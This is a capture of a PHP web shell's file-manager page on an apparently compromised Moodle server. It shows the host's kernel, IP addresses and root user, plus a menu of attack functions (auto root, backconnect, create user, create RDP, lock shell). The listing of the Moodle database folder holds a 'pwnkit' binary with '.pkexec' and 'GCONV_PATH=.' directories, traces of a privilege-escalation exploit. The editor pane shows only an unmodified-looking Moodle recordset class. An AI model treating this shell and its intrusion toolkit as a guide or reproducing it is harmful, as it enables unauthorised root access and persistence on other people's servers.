Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
dml /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
database_column_info.php
3.82
KB
-rwxrwxrwx
moodle_database.php
96.84
KB
-rwxrwxrwx
moodle_recordset.php
2.14
KB
-rwxrwxrwx
moodle_temptables.php
5.3
KB
-rwxrwxrwx
moodle_transaction.php
3.25
KB
-rwxrwxrwx
mssql_native_moodle_database.p...
50.33
KB
-rwxrwxrwx
mssql_native_moodle_recordset....
2.47
KB
-rwxrwxrwx
mssql_native_moodle_temptables...
1.97
KB
-rwxrwxrwx
mysqli_native_moodle_database....
55.15
KB
-rwxrwxrwx
mysqli_native_moodle_recordset...
2.4
KB
-rwxrwxrwx
mysqli_native_moodle_temptable...
1.25
KB
-rwxrwxrwx
oci_native_moodle_database.php
72.18
KB
-rwxrwxrwx
oci_native_moodle_package.sql
4.75
KB
-rwxrwxrwx
oci_native_moodle_recordset.ph...
2.35
KB
-rwxrwxrwx
oci_native_moodle_temptables.p...
2.76
KB
-rwxrwxrwx
pdo_moodle_database.php
20.88
KB
-rwxrwxrwx
pdo_moodle_recordset.php
2.19
KB
-rwxrwxrwx
pgsql_native_moodle_database.p...
49.52
KB
-rwxrwxrwx
pgsql_native_moodle_recordset....
3.01
KB
-rwxrwxrwx
pgsql_native_moodle_temptables...
1.25
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
sqlite3_pdo_moodle_database.ph...
14.45
KB
-rwxrwxrwx
sqlsrv_native_moodle_database....
51.28
KB
-rwxrwxrwx
sqlsrv_native_moodle_recordset...
3.77
KB
-rwxrwxrwx
sqlsrv_native_moodle_temptable...
1.54
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pgsql_native_moodle_recordset.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Native postgresql recordset. * * @package core_dml * @copyright 2008 Petr Skoda (http://skodak.org) * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once(__DIR__.'/moodle_recordset.php'); /** * pgsql specific moodle recordset class * * @package core_dml * @copyright 2008 Petr Skoda (http://skodak.org) * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class pgsql_native_moodle_recordset extends moodle_recordset { protected $result; /** @var current row as array.*/ protected $current; protected $bytea_oid; protected $blobs = array(); public function __construct($result, $bytea_oid) { $this->result = $result; $this->bytea_oid = $bytea_oid; // find out if there are any blobs $numrows = pg_num_fields($result); for($i=0; $i<$numrows; $i++) { $type_oid = pg_field_type_oid($result, $i); if ($type_oid == $this->bytea_oid) { $this->blobs[] = pg_field_name($result, $i); } } $this->current = $this->fetch_next(); } public function __destruct() { $this->close(); } private function fetch_next() { if (!$this->result) { return false; } if (!$row = pg_fetch_assoc($this->result)) { pg_free_result($this->result); $this->result = null; return false; } if ($this->blobs) { foreach ($this->blobs as $blob) { $row[$blob] = $row[$blob] !== null ? pg_unescape_bytea($row[$blob]) : null; } } return $row; } public function current() { return (object)$this->current; } public function key() { // return first column value as key if (!$this->current) { return false; } $key = reset($this->current); return $key; } public function next() { $this->current = $this->fetch_next(); } public function valid() { return !empty($this->current); } public function close() { if ($this->result) { pg_free_result($this->result); $this->result = null; } $this->current = null; $this->blobs = null; } }
Close